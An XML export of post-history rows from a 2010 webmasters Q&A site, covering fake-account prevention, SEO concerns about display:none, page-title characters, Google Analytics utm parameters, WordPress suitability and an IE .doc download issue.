  <row Id="2485" PostHistoryTypeId="2" PostId="1371" RevisionGUID="f65d22f3-1043-423c-a9cc-f1cb9e5e9edf" CreationDate="2010-07-21T07:45:42.260" UserId="906" Text="One of the problems with general public facing apps is to deal with fake user accounts. Using an Open ID service doesn't solve this, as anyone can open multiple Google accounts and register as many different users with many different open ID accounts.&#xD;&#xA;&#xD;&#xA;Notice that this question is beyond authentication - I'm assuming that the user behind the fake user accounts takes the time to authenticate by email, and uses a legitimate username and password.&#xD;&#xA;&#xD;&#xA;In StackExchange apps this is done by giving a minimum of 15 rep before the user can do anything significant on the site. Not all webapps have this luxury, as some apps are built for short-lived user accounts, such as e-commerce apps or certain forums, which usually do not build a long term relationship with users.&#xD;&#xA;&#xD;&#xA;Is there a systematic way to establish user credibility?" />
  <row Id="2486" PostHistoryTypeId="1" PostId="1371" RevisionGUID="f65d22f3-1043-423c-a9cc-f1cb9e5e9edf" CreationDate="2010-07-21T07:45:42.260" UserId="906" Text="How would you establish user credibility for your web app?" />
  <row Id="2487" PostHistoryTypeId="3" PostId="1371" RevisionGUID="f65d22f3-1043-423c-a9cc-f1cb9e5e9edf" CreationDate="2010-07-21T07:45:42.260" UserId="906" Text="&lt;security&gt;&lt;users&gt;" />
  <row Id="2488" PostHistoryTypeId="2" PostId="1372" RevisionGUID="621470f5-4336-45ce-b66b-939da4ff43b9" CreationDate="2010-07-21T07:45:48.500" UserId="711" Text="There's no general way to do that and personally I wouldn't bother with it. Search engines are pretty good at recognizing relevant content on a page, and even though that content might show up in the keywords that search engines have found, it doesn't mean that it would make the page relevant for those keywords.&#xD;&#xA;&#xD;&#xA;If you have a page about &quot;Fish&quot; and a page about &quot;Dogs&quot; (that has the link to the page about &quot;Fish&quot; somewhere in the sidebar), search engines will generally be able to recognize that the page about &quot;Fish&quot; is much more relevant for &quot;Fish&quot; than the page about &quot;Dogs&quot; that mentions &quot;Fish&quot; in the sidebar. It's possible that both pages might be found at some point, but generally given that mostly one page from the site is shown in the search results, that's not something worth worrying about. &#xD;&#xA;&#xD;&#xA;There's no need to be fancy with that, and search engines are likely to just get more confused if you try (eg if you use JavaScript to hide the content, you never know when search engines will start to find that content regardless). Similarly, using iframes with robots.txt disallows or AJAX will frequently degrade the quality of your pages to users (slow it down or make it less usable on a variety of devices), so unless there is a very, very strong &amp; proven reason that you need to do this, I would strongly recommend not bothering with it." />
  <row Id="2489" PostHistoryTypeId="2" PostId="1373" RevisionGUID="6103c4ac-1963-4142-a54f-ea99d130fbbe" CreationDate="2010-07-21T08:56:40.390" UserId="55" Text="There is a systematic way to establish with a high degree of certainty that the user is indeed a human being. After that, you can only go by what that user does.&#xD;&#xA;&#xD;&#xA;Depending on the nature of your web app, &quot;bad&quot; users will probably be those who:&#xD;&#xA;&#xD;&#xA; - Try to dump links for SEO and run&#xD;&#xA; - Create sock puppets to promote (or demote) another user&#xD;&#xA;&#xD;&#xA;API's like Akismet let you catch a significant amount of SPAM before it even shows. Beyond that, you should have a means for &quot;good&quot; users to flag the post / auction / whatever as being inappropriate.&#xD;&#xA;&#xD;&#xA;Sock puppets are really nothing new, and are discovered by analyzing usage patterns. Rooting them out on a site like Wikipedia is a bit different than rooting them out on a site like SO, where someone's 'normal' use is quite deterministic. That means misuse, (abusing the up / down vote buttons) is easier to catch. Its hard to give specific recommendations without more information on what 'good' behavior would be on your site.&#xD;&#xA;&#xD;&#xA;What I would do is offer some kind of reward for the behavior that you want. If you want people to post items for sale, give them a star or something next to their name after they've done that for a few times.&#xD;&#xA;&#xD;&#xA;If your site really is that 'disposable' in the eyes of your visitors, you'll get a lot of drive by users. Perhaps, think of a way to make people want to participate over the span of at least a few days, this will give you (in most cases) the time that you need to root out the bad elements and reward the behavior that you want.&#xD;&#xA;&#xD;&#xA;Stack Overflow itself is 'disposable' to some of its users, there are many who never actually register, ask a single question, get their answer and vanish as soon as their cookie does. But, the quality of what they do while here determines their credibility.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2490" PostHistoryTypeId="5" PostId="1373" RevisionGUID="60612d49-b435-4ee6-a4df-5f201116e91f" CreationDate="2010-07-21T09:02:32.900" UserId="55" Comment="added 175 characters in body; added 48 characters in body" Text="There is a systematic way to establish with a high degree of certainty that the user is indeed a human being. After that, you can only go by what that user does.&#xD;&#xA;&#xD;&#xA;Depending on the nature of your web app, &quot;bad&quot; users will probably be those who:&#xD;&#xA;&#xD;&#xA; - Try to dump links for SEO and run&#xD;&#xA; - Create sock puppets to promote (or demote) another user&#xD;&#xA;&#xD;&#xA;API's like Akismet let you catch a significant amount of SPAM before it even shows. Beyond that, you should have a means for &quot;good&quot; users to flag the post / auction / whatever as being inappropriate.&#xD;&#xA;&#xD;&#xA;Sock puppets are really nothing new, and are discovered by analyzing usage patterns. Rooting them out on a site like Wikipedia is a bit different than rooting them out on a site like SO, where someone's 'normal' use is quite deterministic. That means misuse, (abusing the up / down vote buttons) is easier to catch. Its hard to give specific recommendations without more information on what 'good' behavior would be on your site.&#xD;&#xA;&#xD;&#xA;What I would do is offer some kind of reward for the behavior that you want. If you want people to post items for sale, give them a star or something next to their name after they've done that for a few times. Reward the 'star' with something else, like reduced fees, reduced advertising, whatever. Make it worth while for &quot;good&quot; users to give you something in order to get something.&#xD;&#xA;&#xD;&#xA;If your site really is that 'disposable' in the eyes of your visitors, you'll get a lot of drive by users. Perhaps, think of a way to make people want to participate over the span of at least a few days, this will give you (in most cases) the time that you need to root out the bad elements and reward the behavior that you want.&#xD;&#xA;&#xD;&#xA;Stack Overflow itself is 'disposable' to some of its users, there are many who never actually register, ask a single question, get their answer and vanish as soon as their cookie does. But, the quality of what they do while there determines their credibility, and how likely they are to get what they want.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2491" PostHistoryTypeId="2" PostId="1374" RevisionGUID="82a9148e-8bec-4526-89b9-8622076ae282" CreationDate="2010-07-21T09:15:14.443" UserId="55" Text="I remember reading the terms of service when I signed up for Flickr, and they had what I thought was a very clever sentence near the end:&#xD;&#xA;&#xD;&#xA;&gt; _Don't be that guy ... You know .._ ***that guy***.&#xD;&#xA;&#xD;&#xA;This told me that Flickr holds people accountable for their behavior and doesn't tolerate harassment. Note, harassment is subjective. One person may take what you say in stride, someone else may feel egregiously offended. &quot;Hate speech&quot; is really dependent on who is talking and who is listening.&#xD;&#xA;&#xD;&#xA;Make it quite clear that users are expected to conduct themselves civilly, and that reports of abuse from other members are taken quite seriously. Make sure moderators or site administrators are active enough to see and stop arguments that just digress into nothing but name calling, threats, or worse.&#xD;&#xA;&#xD;&#xA;Flickr's approach is novel in that it doesn't spell out a list of things that you aren't allowed to do, because surely nobody could make such a list without forgetting something.&#xD;&#xA;&#xD;&#xA;That fits a political mud slinging site just as well as it fits community bible study.&#xD;&#xA;&#xD;&#xA;Or, take the Stack Exchange creed:&#xD;&#xA;&#xD;&#xA;&gt; _Don't be a jerk_&#xD;&#xA;&#xD;&#xA;Either one explains itself quite well." />
  <row Id="2492" PostHistoryTypeId="2" PostId="1375" RevisionGUID="aabfd6c8-13d6-4368-9fe7-24ffaae1cde8" CreationDate="2010-07-21T09:46:52.287" UserId="288" Text="I don't think that there's any systematic way - after all if there were the spammers would be working on ways to defeat it as it would unlock everybody's site for them.&#xD;&#xA;&#xD;&#xA;Steam have just started requiring that you actually **buy** a game before unlocking features.&#xD;&#xA;&#xD;&#xA;A while ago I signed up to Steam to get their offer of Portal for free and added a couple of people as friends.&#xD;&#xA;&#xD;&#xA;I've just tried to add someone else and that failed because I don't have any paid for content in my profile.&#xD;&#xA;&#xD;&#xA;Now while this won't work for everyone - after all you might not have paid for content! - but it's certainly an option. The one thing that spammers won't want to part with is money." />
  <row Id="2493" PostHistoryTypeId="5" PostId="1375" RevisionGUID="75a0ec01-8427-4bcf-b4c8-fc1272b9c030" CreationDate="2010-07-21T09:55:24.373" UserId="288" Comment="more info" Text="I don't think that there's any systematic way - after all if there were the spammers would be working on ways to defeat it as it would unlock everybody's site for them.&#xD;&#xA;&#xD;&#xA;You need to have something on your site that only genuine users would want to do. You've mentioned the Stack Exchange model of reputation, another is to encourage people to spend real money.&#xD;&#xA;&#xD;&#xA;For example, Steam have just started requiring that you actually **buy** a game before unlocking features. A while ago I signed up to Steam to get their offer of Portal for free and added a couple of people as friends. I've just tried to add someone else and that failed because I don't have any paid for content in my profile.&#xD;&#xA;&#xD;&#xA;Now while this won't work for everyone - after all you might not have paid for content! - but it's certainly an option. The one thing that spammers won't want to part with is money.&#xD;&#xA;&#xD;&#xA;Another option would be to have the user contribute some content. Say you were running a art site or writing site users could only gain access to the full site once they'd submitted a piece of art or writing. You'd probably have to have a real human look at it to ensure it wasn't just a random jpg or a chunk of &quot;ipsum lorem&quot; text!&#xD;&#xA;&#xD;&#xA;So the answer is that it depends on what your site is" />
  <row Id="2494" PostHistoryTypeId="2" PostId="1376" RevisionGUID="15fb9f53-a4eb-44b0-b5e4-a38f02cd7c59" CreationDate="2010-07-21T10:11:51.710" UserId="9301" Text="The answers from the question http://webmasters.stackexchange.com/questions/720/is-there-any-way-to-really-ban-people-from-a-website could help give you a few ideas." />
  <row Id="2495" PostHistoryTypeId="5" PostId="1360" RevisionGUID="fb24f14d-b62d-4e49-83c6-cc34865343b6" CreationDate="2010-07-21T10:16:44.453" UserId="233" Comment="added 30 characters in body; added 175 characters in body" Text="I have noticed a few oddities recently with the titles of web pages in search engine results pages (SERPs). I started using some special characters in my page titles in order to make them look slightly more appealing in SERPs and perhaps stand out a bit more:&#xD;&#xA;&#xD;&#xA;    &amp;#8216;Item name&amp;#8217; widget &amp;#8226; Site Name&#xD;&#xA;    (( Item name )) widget &amp;#8226; Site Name&#xD;&#xA;&#xD;&#xA;* In Google and Yahoo, the curly quotes (8216/8217) are converted to straight quotes.&#xD;&#xA;* In Bing and Yahoo, all special characters at the front of the title are removed, i.e. the above shows as `Item name&amp;#8217; ...etc` or `Item name )) ...etc`&#xD;&#xA;&#xD;&#xA;The bullet point (8226) displays fine in all three, as do various other Unicode characters (I've seen music notes in SERPs before now).&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA;1. Does anyone know if there any particular characters that are safe/unsafe?&#xD;&#xA;2. Is it possible to get search engines to show the characters as I code them, and include the ones at the front of the title?&#xD;&#xA;3. Is there any data on what title formats garner a higher click-through rate?&#xD;&#xA;&#xD;&#xA;Also, just to be clear, I'm not trying to &quot;trick&quot; search engines or be &quot;sneaky&quot;, I'm just interested if it's possible to increase CTR when a page is not #1 in the results." />
  <row Id="2496" PostHistoryTypeId="5" PostId="1359" RevisionGUID="0eb94e1d-7857-45f6-ad3d-124f292ea8eb" CreationDate="2010-07-21T10:25:27.363" UserId="233" Comment="deleted 4 characters in body" Text="That looks *incredibly spammy* to me, and chances are it would to search engines. Your users may also be reluctant to use that code because of the h1 (you can only have one per page in HTML4). Plus they might think it (and the other elements) will affect how it looks on their site.&#xD;&#xA;&#xD;&#xA;You can get great SEO value with a simple image link:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;example/com&quot;&gt;&lt;img src=&quot;example.com/image.png&quot; alt=&quot;link text&quot; style=&quot;border:0&quot; /&gt;&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;I believe Google will give some weight to the alt text as if it was a text link, but it's probably not as much as a regular text link. You could offer code for a regular text link as an alternative, if that fits your badge system.&#xD;&#xA;&#xD;&#xA;Remember, you want to get as many links as possible, so make it *as simple as possible* for people to link to you! 10 links without keywords from good sites is much better than one spammy link with keywords." />
  <row Id="2497" PostHistoryTypeId="2" PostId="1377" RevisionGUID="504b32f1-4198-4b40-9c43-4a3229172725" CreationDate="2010-07-21T11:03:22.167" UserId="908" Text="I've heard many times that it's bad to use `display: none` for SEO reasons, as it could be an attempt to push in irrelevant popular keywords. A few questions:&#xD;&#xA;&#xD;&#xA;1. Is that still received wisdom?&#xD;&#xA;1. Does it make a difference if you're only hiding a single word, or perhaps a single character?&#xD;&#xA;1. If you should avoid any use of it, what are the preferred techniques for hiding (in situations where you need it to become visible again on certain conditions)?&#xD;&#xA;&#xD;&#xA;Some references I've found so far:&#xD;&#xA;&#xD;&#xA;[Matt Cutts from 2005 in a comment](http://www.threadwatch.org/node/4313#comment-26883)&#xD;&#xA;&gt; If you're straight-out using CSS to hide text, don't be surprised if that is called spam. I'm not saying that mouseovers or DHTML text or have-a-logo-but-also-have-text is spam; I answered that last one at a conference when I said &quot;imagine how it would look to a visitor, a competitor, or someone checking out a spam report. If you show your company's name and it's Expo Markers instead of an Expo Markers logo, you should be fine. If the text you decide to show is 'Expo Markers cheap online discount buy online Expo Markers sale ...' then I would be more cautious, because that can look bad.&quot;&#xD;&#xA;&#xD;&#xA;And [in another comment](http://www.threadwatch.org/node/4313#comment-26923) on the same article&#xD;&#xA;&gt; We can flag text that appears to be hidden using CSS at Google. __To date__ we have not algorithmically removed sites for doing that. We try hard to avoid throwing babies out with bathwater.&#xD;&#xA;&#xD;&#xA;(My emphasis)&#xD;&#xA;&#xD;&#xA;Eric Enge [said in 2008](http://searchengineland.com/is-hiding-content-with-display-none-legitimate-seo-13643)&#xD;&#xA;&gt; The legitimate use of this technique is so prevalent that I would rarely expect search engines to penalize a site for using the `display: none` attribute. It’s just very difficult to implement an algorithm that could truly ferret out whether the particular use of `display: none` is meant to deceive the search engines or not.&#xD;&#xA;&#xD;&#xA;Thanks in advance,&#xD;&#xA;&#xD;&#xA;Andy" />
  <row Id="2498" PostHistoryTypeId="1" PostId="1377" RevisionGUID="504b32f1-4198-4b40-9c43-4a3229172725" CreationDate="2010-07-21T11:03:22.167" UserId="908" Text="How bad is it to use display: none in CSS?" />
  <row Id="2499" PostHistoryTypeId="3" PostId="1377" RevisionGUID="504b32f1-4198-4b40-9c43-4a3229172725" CreationDate="2010-07-21T11:03:22.167" UserId="908" Text="&lt;seo&gt;&lt;css&gt;" />
  <row Id="2500" PostHistoryTypeId="2" PostId="1378" RevisionGUID="bffbdded-13c0-4990-8c8f-f4c391daa06a" CreationDate="2010-07-21T12:03:06.417" UserId="524" Text="If you are not abusing it, it will not be a problem. At this time Google does not crawl CSS stylesheets looking for instances of &lt;code&gt;display: none&lt;code&gt;.&#xD;&#xA;&#xD;&#xA;Google is not going to declare war on a widely used style rule, they are just giving a warning to those thinking they could add 1000 keywords to a site that are all set to &lt;code&gt;display: none&lt;/code&gt; or even worse &lt;code&gt;margin-left: 9999px&lt;/code&gt;" />
  <row Id="2501" PostHistoryTypeId="2" PostId="1379" RevisionGUID="3eac12db-0c88-4113-a455-d4aa361fc1ba" CreationDate="2010-07-21T12:37:42.290" UserId="307" Text="Use &quot;display: none&quot; only when it is the right tool to use.&#xD;&#xA;&#xD;&#xA;As the quotes suggest, the problem search engines have with display none is spam. Attempting to spam search engines, regardless of what tools you use for that, is a bad idea. If you use CSS for anything other than spam, then there is no problem.&#xD;&#xA;&#xD;&#xA;The right tool for the right job." />
  <row Id="2502" PostHistoryTypeId="2" PostId="1380" RevisionGUID="37e96452-4a28-4e5b-a66a-1b096250c85c" CreationDate="2010-07-21T13:13:35.817" UserDisplayName="Surveillance Solutions Inc" Text="We work Very hard not to store any info and make sure were compliant ,no need in any chances of trouble ,and be sure you always use a great cart such as miva ,or at least look at the list of cart providers that are compliant and are recomended" />
  <row Id="2503" PostHistoryTypeId="2" PostId="1381" RevisionGUID="f8519943-1e42-4e21-8dc4-4be8e9983d1f" CreationDate="2010-07-21T13:22:16.217" UserId="480" Text="There are two main classes of books for the overarching design (from a Webmasters perspective), those on Web Architecture/Scalability and those on organising information. I can recommend these books:&#xD;&#xA;&#xD;&#xA;**Web Architecture**&#xD;&#xA;&#xD;&#xA; - [Web Application Architecture:&#xD;&#xA;   Principles, Protocols and Practices][1]&#xD;&#xA;&#xD;&#xA; - [The Art of Scalability: Scalable Web Architecture, Processes and Organizations for the Modern Enterprise][2]&#xD;&#xA;&#xD;&#xA;**Information Architecture**&#xD;&#xA;&#xD;&#xA; - [Information Architecture for the&#xD;&#xA;   World Wide Web: Designing Large-Scale&#xD;&#xA;   Web Sites][3]&#xD;&#xA;   &#xD;&#xA; - [Information Architecture: Blueprints&#xD;&#xA;   for the Web (Voices That Matter)][4]&#xD;&#xA;&#xD;&#xA;The Beautiful series (Beautiful Data/Code/Architecture/Security/Visualisation) are worth a look - for ideas but not reference.&#xD;&#xA;&#xD;&#xA;With regards to good website design (beyond information display) there are many books on usability/design available. Personally I like the &quot;Head First&quot; O'Reilly series, but it is a love/hate with my colleges, who prefer paperbacks from specific artists or HCI (Human Computer Interface) textbooks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webappbuilders.com/&#xD;&#xA;  [2]: http://my.safaribooksonline.com/9780137031436&#xD;&#xA;  [3]: http://oreilly.com/catalog/9780596000356&#xD;&#xA;  [4]: http://www.peachpit.com/store/product.aspx?isbn=0321591984" />
  <row Id="2504" PostHistoryTypeId="2" PostId="1382" RevisionGUID="363a64bf-3a93-4dc0-b420-23d81d94c532" CreationDate="2010-07-21T13:25:49.407" UserId="287" Text="Yes, [The Onion][1] uses Django for the A/V Club part of their site.  Apparently they are gradually migrating the whole site towards Django.  [They answered a whole bunch of question on reddit.][2]&#xD;&#xA;&#xD;&#xA;Also, [reddit.com][3] which serves millions of page views each day, is written in python, but not Django.  I believe they use [Pylons][4] but I could be wrong.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.theonion.com/&#xD;&#xA;  [2]: http://www.reddit.com/r/django/comments/bhvhz/the_onion_uses_django_and_why_it_matters_to_us&#xD;&#xA;  [3]: http://reddit.com&#xD;&#xA;  [4]: http://pylonshq.com/" />
  <row Id="2505" PostHistoryTypeId="2" PostId="1383" RevisionGUID="6866db39-a17d-42c0-b864-2e7d90efb5f7" CreationDate="2010-07-21T13:27:45.237" UserId="343" Text="The keyword text in a link is *mostly* applied to the page that the link points to, not the page that the link is on.  Personally, I wouldn't worry too much about it.  You would probably be worse off by removing/cloaking the titles than by letting it be." />
  <row Id="2506" PostHistoryTypeId="2" PostId="1384" RevisionGUID="04b13563-1da8-4c50-88b0-da88c22c4aab" CreationDate="2010-07-21T14:21:12.610" UserId="914" Text="In these days of jQuery (and other JavaScript frameworks) heavy websites then I can't see how it can be a problem, since it's used extensively when you use things like jQuery sliders, transitions, galleries, tickers etc. These are now commonplace and search-engines are clever enough not to blindly penalise their use.&#xD;&#xA;&#xD;&#xA;A Google employee states this in their [Webmaster Central forum][1] when he said:&#xD;&#xA;&#xD;&#xA;&gt; &quot;Merely using display:none will not&#xD;&#xA;&gt; automatically trigger a penalty. The&#xD;&#xA;&gt; key is whether or not there is a&#xD;&#xA;&gt; mechanism - either automatic or one&#xD;&#xA;&gt; that is invoked by the user - to make&#xD;&#xA;&gt; the content visible.Google is becoming&#xD;&#xA;&gt; very adept at processing JavaScript to&#xD;&#xA;&gt; find and interpret such mechanisms.If&#xD;&#xA;&gt; you use valid HTML, CSS, and&#xD;&#xA;&gt; JavaScript you have nothing to worry&#xD;&#xA;&gt; about.  Good luck!&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=50f9a4942ac605ec&amp;hl=en" />
  <row Id="2507" PostHistoryTypeId="2" PostId="1385" RevisionGUID="19806bb6-9357-4eb9-a3a7-d2a367cb3e29" CreationDate="2010-07-21T14:39:27.450" UserId="529" Text="1. Capitalization is important (they are cap-sensitive), unless you set your GA filter to be case insensitive &#xD;&#xA;&#xD;&#xA;2. utm_ is specific to Google Analytics. It dates from when GA was called Urchin (it stands for Urchin Traffic Monitor. &#xD;&#xA;&#xD;&#xA; - utm_source: This is the site or advertising service you're using (beetsandtreats.com, admob, etsy.com, etc)&#xD;&#xA; - utm_campaign: This is the name of the campaign you're running. (save20now, christmasdiscount1205)&#xD;&#xA; - utm_medium: This is the medium your campaign is running on (email, cpc, organic)&#xD;&#xA; - utm_content: This is for differentiating ads or links within content. &#xD;&#xA; - utm_term: This is for the term you're targetting.&#xD;&#xA;&#xD;&#xA;For consistency of data, the top 3 are required; the bottom 2 are optional. &#xD;&#xA;&#xD;&#xA;You can view the data, as pelms said, in Traffic sources &gt; Campaigns, but you'll get much more interesting usage out of them if you use them as a source for pivoting or secondary data analysis in all 3 sections of the site. You can segment performance by whether or not it was a paid click or an organic click, and figure out how paid traffic behaves differently than free traffic. &#xD;&#xA;&#xD;&#xA;You can use it in analyzing your goals, to figure out if paid clicks are converting into customers successfully (if ecommerce is your goal).&#xD;&#xA;&#xD;&#xA;In short, for good analysis, utm tagging on non-Adwords advertising platforms is a must. (Adwords provides 'autotagging' as a service, as long as your Adwords and Analytics accounts are linked.)" />
  <row Id="2508" PostHistoryTypeId="5" PostId="1345" RevisionGUID="858e360f-9424-48ef-a758-51cc2c2a77dc" CreationDate="2010-07-21T15:19:16.380" UserId="26" Comment="slightly different word choice" Text="You can look at what's supported generally in this [Opera Standards Chart][1].&#xD;&#xA;&#xD;&#xA;My experience of the Opera Browsers. mostly with Mini 4 and 5, was that they worked pretty well for a tiny browser on a non-smartphone. Very-long pages with lots of content did not work terribly well, and I found I had to make sure not to scroll before all content loaded otherwise the browser would blank screen on me. Also, sites with odd ajax-based or otherwise peculiar security schemes could be difficult to log into.&#xD;&#xA;&#xD;&#xA;[**dev.opera.com**][2] appears to be a good resource, though it's kind of got a whole kitchen sink of information. I'm not seeing a simple &quot;target Opera Mobile for developers&quot; document.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://my.opera.com/ODIN/blog/2010/03/16/opera-standards-chart&#xD;&#xA;  [2]: http://dev.opera.com/" />
  <row Id="2509" PostHistoryTypeId="5" PostId="1353" RevisionGUID="65b6e8bd-3563-4900-be0a-95f47dbd5ea5" CreationDate="2010-07-21T15:42:19.963" UserId="26" Comment="edited to address change in the question." Text="The buy-vs-build question is an eternal one. I would say [WordPress][1] and [Drupal][2] both meet your criteria. I have more experience with WordPress so I'd do it in WordPress. To address your requirements:&#xD;&#xA;&#xD;&#xA; 1. *Semantic HTML (well formed, proper use of attributes, microformats where appropriate, use of CSS for style and HTML for markup)*&#xD;&#xA;&#xD;&#xA;    **Yes**, most [themes][3] for WordPress use xhtml by default with no trouble. Microformats-related markup you probably will need to do by hand in an html view, though there may be plugins which facilitate that.&#xD;&#xA;&#xD;&#xA; 1. *Validating HTML and CSS (XHTML, HTML4, HTML5 all acceptable - as long as it validates out of the box)*&#xD;&#xA;&#xD;&#xA;    **Yes**, most themes for WordPress validate or are very close to validating without much trouble. There's great documentation for theming.&#xD;&#xA;&#xD;&#xA; 1. *Support for a blog*&#xD;&#xA;&#xD;&#xA;    **Yes**, absolutely.&#xD;&#xA;&#xD;&#xA; 1. *Support for editing and managing my resume in HTML form as well managing uploaded files in PDF, ODT, and DOC formats that I make available for download*&#xD;&#xA;&#xD;&#xA;    **Yes**, just have the resume be a static page, and manage the uploaded files using the native Media management tool in WordPress.&#xD;&#xA;&#xD;&#xA; 1. *Written in a language that I know and my host supports - PHP preferred since that's easiest for my to host and I also am familiar with it*&#xD;&#xA;&#xD;&#xA;    **Yes**, WordPress = PHP + MySQL + Apache works best for `mod_rewrite`&#xD;&#xA;&#xD;&#xA; 1. *Easy to obtain or write a themes for*&#xD;&#xA;&#xD;&#xA;    **Yes**, see [Theme Development][4]&#xD;&#xA;&#xD;&#xA; 1. *Support for static pages that change infrequently (about me), static pages that change sometimes (project lists), dynamic pages (blog, comments), and forms (contact me)*&#xD;&#xA;&#xD;&#xA;    **Yes** pages are managed in WordPress under the Pages part of the interface. Contact forms work well with plugins such as [Contact Form 7][5]&#xD;&#xA;&#xD;&#xA; 1. *Plays nicely with other tools in the same environment - I use Trac on the same host for project management and might deploy other software such as a personal MediaWiki deployment*&#xD;&#xA;&#xD;&#xA;    **Yes**, though you may need to add some rewrite rules so that not everything points at WordPress. I run WordPress in a subdirectory and let it handle everything usually. You may need to add a specifier to have WordPress ignore a MediaWiki directory stem.&#xD;&#xA;&#xD;&#xA; 1. *Easy to integrate with other social media (Twitter? Facebook? Pandora?) - not require, but would be nice*&#xD;&#xA;&#xD;&#xA;    **Yes**, through plugins. By default you can also pull in RSS feeds into WordPress sidebars.&#xD;&#xA;&#xD;&#xA; 1. *Generation and maintenance of the sitemap and/or `robots.txt`*&#xD;&#xA;&#xD;&#xA;    **Yes**, [Google Sitemap Generator][6].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/&#xD;&#xA;  [2]: http://drupal.org/&#xD;&#xA;  [3]: http://wordpress.org/extend/themes/&#xD;&#xA;  [4]: http://codex.wordpress.org/Theme_Development&#xD;&#xA;  [5]: http://wordpress.org/extend/plugins/contact-form-7/&#xD;&#xA;  [6]: http://wordpress.org/extend/plugins/google-sitemap-generator/" />
  <row Id="2510" PostHistoryTypeId="2" PostId="1386" RevisionGUID="a883184a-8f1d-42e9-b1b2-113eb465c819" CreationDate="2010-07-21T16:15:48.540" UserId="918" Text="I've used Wordpress to set up a number of sites, each with different needs, and I think that Wordpress would meet your needs as well:&#xD;&#xA;&#xD;&#xA;* http://chaos.trader.name/ -- Primarily a page-oriented information site, with some blogging.&#xD;&#xA;* http://ludus.unicornsrest.org/ -- Primarily a blog, but with a deeply nested page structure.  I wrote a plugin to create links to pages within posts while allowing me to rearrange the pages.&#xD;&#xA;* http://driia.com/ -- My wife's business site, both blog and sales site.  I wrote plugins that allow will automatically group posts onto pages based upon categories and tags, and to recognize that posts with a specific tag represent jewelry or art pieces that are for sale.  The sale prices are stored as meta-data on the posts.&#xD;&#xA;* http://barkingmad.org/ -- Advertising site for a not-for-profit entertainment group.&#xD;&#xA;&#xD;&#xA;The number and quality of themes and plugins available for Wordpress is astounding, but the GPL license means that anything that doesn't completely meet your needs can be improved as you see fit." />
  <row Id="2511" PostHistoryTypeId="2" PostId="1387" RevisionGUID="ec06102b-299f-4b3e-a552-5d452d5fd80a" CreationDate="2010-07-21T16:22:37.317" UserId="919" Text="I think the title says it all..." />
  <row Id="2512" PostHistoryTypeId="1" PostId="1387" RevisionGUID="ec06102b-299f-4b3e-a552-5d452d5fd80a" CreationDate="2010-07-21T16:22:37.317" UserId="919" Text="What resources are available to get an experienced .net developer up and running quickly with Wordpress/PHP development?" />
  <row Id="2513" PostHistoryTypeId="3" PostId="1387" RevisionGUID="ec06102b-299f-4b3e-a552-5d452d5fd80a" CreationDate="2010-07-21T16:22:37.317" UserId="919" Text="&lt;wordpress&gt;&lt;asp.net&gt;&lt;php&gt;" />
  <row Id="2514" PostHistoryTypeId="2" PostId="1388" RevisionGUID="a3a14007-3062-446e-af18-5c034bc50d78" CreationDate="2010-07-21T16:30:20.413" UserId="26" Text="All the documentation for both WordPress and PHP development are online.&#xD;&#xA;&#xD;&#xA;- [WordPress Codex][1]&#xD;&#xA;- [PHP.net Manual][2]&#xD;&#xA;&#xD;&#xA;If you're an experienced programmer run through the [PHP Tutorials][3] and basic [WordPress theming][4] and [plugin development][5] and that should get you a long way along.&#xD;&#xA;&#xD;&#xA;You might also check these SO questions: [What is the best PHP programming book?][6] and [Common programming mistakes for PHP developers to avoid?][7] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/Main_Page&#xD;&#xA;  [2]: http://www.php.net/manual/en/&#xD;&#xA;  [3]: http://us2.php.net/manual/en/tutorial.php&#xD;&#xA;  [4]: http://codex.wordpress.org/Theme_Development&#xD;&#xA;  [5]: http://codex.wordpress.org/Writing_a_Plugin&#xD;&#xA;  [6]: http://stackoverflow.com/questions/90924/what-is-the-best-php-programming-book&#xD;&#xA;  [7]: http://stackoverflow.com/questions/1186957/common-programming-mistakes-for-php-developers-to-avoid" />
  <row Id="2515" PostHistoryTypeId="2" PostId="1389" RevisionGUID="979e5b7e-917b-4f51-8ce9-57c22b4d9bdc" CreationDate="2010-07-21T16:35:50.863" UserId="920" Text="I'm working on a flex app that relates documents (pdfs, images, etc) with events. When i click the document link in my app for PDFs, images, text files, etc, IE7 and IE8 present them in the appropriate editor and life is good. However, if the linked document is a .doc file, the popup window that shows when you click the link simply closes without displaying the file or prompting  me to save it to a particular location. Clicking the same document link in Firefox 3.5 prompts me to Open/Save the document, and opens it properly in Word. I have not run across any other file type/browser combination that exhibits this same behavior...just doc/IE. Does IE have some security restrictions related to opening doc files? Does anyone have any idea why this might be happening or how I could go about fixing it? Thanks,&#xD;&#xA;&#xD;&#xA;-Bill " />
  <row Id="2516" PostHistoryTypeId="1" PostId="1389" RevisionGUID="979e5b7e-917b-4f51-8ce9-57c22b4d9bdc" CreationDate="2010-07-21T16:35:50.863" UserId="920" Text="Issue Opening/Saving Word Docs in IE7 and IE8" />
  <row Id="2517" PostHistoryTypeId="3" PostId="1389" RevisionGUID="979e5b7e-917b-4f51-8ce9-57c22b4d9bdc" CreationDate="2010-07-21T16:35:50.863" UserId="920" Text="&lt;internet-explorer&gt;" />
